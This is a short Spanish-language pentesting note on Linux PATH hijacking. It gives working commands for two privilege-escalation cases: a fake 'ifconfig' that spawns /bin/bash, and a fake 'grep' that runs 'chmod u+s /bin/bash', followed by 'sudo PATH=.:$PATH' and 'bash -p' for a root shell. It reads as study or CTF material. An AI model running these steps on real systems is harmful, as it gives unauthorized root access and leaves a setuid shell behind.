8 Path Hijacking

PATH Hijacking #

Es una vulnerabilidad que nos permite alterar el funcionamiento normal del sistema para ejecutar binarios que no son lejítimos, como si realmente lo fueran.

CASO 1 #

Supongamos que tenemos un binario que por defecto/mala configuración podemos ejecutar como root, pero no se puede explotar como con GTFOBins. Por ejemplo, _un script que se ejecuta como root, que contiene el comando “ifconfig”

También sirve para ese mismo binario si tuviera permisos para ejecutarse como root, se puede secuestrar el path

Ver la variable de entorno $PATH

echo $PATH

añadir una ruta al $PATH

export PATH=/ruta_que_queramos_añadir:$PATH
"EJEMPLO"
export PATH=/home/kali:$PATH

crear un binario malicioso

nano ifconfig
(contenido:
/bin/bash)

chmod +x ifconfig

De esta manera, si tenemos un binario en /home/kali llamado ifconfig cuyo contenido sea el siguiente:

/bin/bash

, al lanzar el script que contiene el comando ifconfig, la primera ruta donde buscará en el $PATH, será /home/kali y encontrará nuestro binario malicioso.

CASO 2 #

Tenemos un binario/script (a priori inútil) pero que se puede ejecutar como root, por ejemplo backup.sh, y este backup contiene algún comando, por ejemplo grep. Aunque el binario no sea editable, podemos aprovechar este script para alterar el path.

1º Nos dirigimos a /tmp o a algún directorio editable y creamos un binario de un comando que esté contenido en el script, por ejemplo grep con el siguiente contenido:

chmod u+s /bin/bash

2º En el terminal (aprovechamos los privilegios para lanzar el backup.sh para alterar el path):

sudo PATH=.:$PATH /ruta/al/backup.sh

bash -p